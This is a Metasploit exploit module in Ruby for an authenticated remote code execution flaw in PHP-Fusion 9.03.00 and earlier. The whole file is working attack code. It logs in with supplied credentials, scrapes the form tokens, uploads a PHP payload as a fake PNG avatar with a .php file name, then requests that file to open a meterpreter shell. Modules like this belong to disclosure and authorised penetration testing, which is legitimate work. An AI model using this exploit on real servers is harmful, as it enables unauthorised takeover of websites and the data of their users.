class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "PHP-Fusion < 9.03.00 - 'Edit Profile' Remote Code Execution",
'Description' => %q(
This module exploits command execution vulnerability in PHP-Fusion 9.03.00 and prior versions.
It is possible to execute commands in the system with ordinary user authority. No need admin privilage.
There is almost no control in the avatar upload section in the profile edit area.
Only a client-based control working with javascript. (Simple pre-check)
If we do not care about this control, the desired file can be sent to the server via Interception-Proxies.
The module opens the meterpreter session for you by bypassing the controls.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>',
],
'References' =>
[
['URL', 'http://www.pentest.com.tr/exploits/PHP-Fusion-9-03-00-Edit-Profile-Remote-Code-Execution.html'],
['URL', 'https://www.php-fusion.co.uk'],
['URL', 'https://github.com/php-fusion/PHP-Fusion/commit/943432028b9e674433bb3f2a128b2477134110e6']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "May 11 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base PHP-Fusion directory path", '/']),
OptString.new('USERNAME', [true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [true, "Password to authenticate with", ''])
]
)
end
def exec
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(target_uri.path, "images","avatars", "#{@shell}")
})
end
def login(uname, pass, check)
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(target_uri.path, "home.php")
})
cookie = res.get_cookies
@fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'home.php'),
'cookie' => cookie,
'vars_post' => {
'fusion_token' => @fustoken,
'form_id' => 'loginform',
'user_name' => uname,
'user_pass' => pass,
'login' => ''
}
)
cookie = res.get_cookies
location = res.redirection.to_s
if res && res.code == 302 && location.include?('login.php?error')
fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
else
return cookie
end
return nil
end
def upload_shell(cookie, check)
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(target_uri.path, "edit_profile.php"),
'cookie' => cookie
})
ncookie = cookie + " " + res.get_cookies
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(target_uri.path, "edit_profile.php"),
'cookie' => ncookie
})
fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
userid = res.body.split("profile.php?lookup=")[1].split('"><i class=')[0]
userhash = res.body.split("userhash' value='")[1].split("' style")[0]
usermail = res.body.split("user_email' value='")[1].split("' >")[0]
delete = Rex::MIME::Message.new
delete.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"')
delete.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"')
delete.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"')
delete.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"')
delete.add_part('1', nil, nil, 'form-data; name="delAvatar"')
delete.add_part("#{userid}", nil, nil, 'form-data; name="user_id"')
delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
delete.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"')
deld = delete.to_s
res = send_request_cgi({
'method' => 'POST',
'data'=> deld,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{delete.bound}",
'cookie' => ncookie,
'uri' => normalize_uri(target_uri.path, "edit_profile.php")
})
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(target_uri.path, "edit_profile.php"),
'cookie' => cookie
})
ncookie = cookie + " " + res.get_cookies
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(target_uri.path, "edit_profile.php"),
'cookie' => ncookie
})
fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
userid = res.body.split("profile.php?lookup=")[1].split('"><i class=')[0]
userhash = res.body.split("userhash' value='")[1].split("' style")[0]
usermail = res.body.split("user_email' value='")[1].split("' >")[0]
pay = payload.encoded.split("/**/")[1]
fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
@shell = "#{fname}"
pdata = Rex::MIME::Message.new
pdata.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"')
pdata.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"')
pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"')
pdata.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"')
pdata.add_part('1', nil, nil, 'form-data; name="delAvatar"')
pdata.add_part("<?" + pay, 'image/png', nil, "form-data; name=\"user_avatar\"; filename=\"#{fname}\"")
pdata.add_part("#{userid}", nil, nil, 'form-data; name="user_id"')
pdata.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
pdata.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"')
data = pdata.to_s
res = send_request_cgi({
'method' => 'POST',
'data'=> data,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
'cookie' => ncookie,
'uri' => normalize_uri(target_uri.path, "edit_profile.php")
})
location = res.redirection.to_s
if res && res.code == 302 && location.include?('error')
fail_with(Failure::NoAccess, 'Error occurred during uploading!')
else
print_status("Trying to upload #{fname}")
return true
end
end
def exploit
cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_good("Authentication was successful with user: #{datastore['USERNAME']}")
if upload_shell(cookie, true)
print_good("Control was bypassed. Harmful file upload successfully!")
exec
end
end
end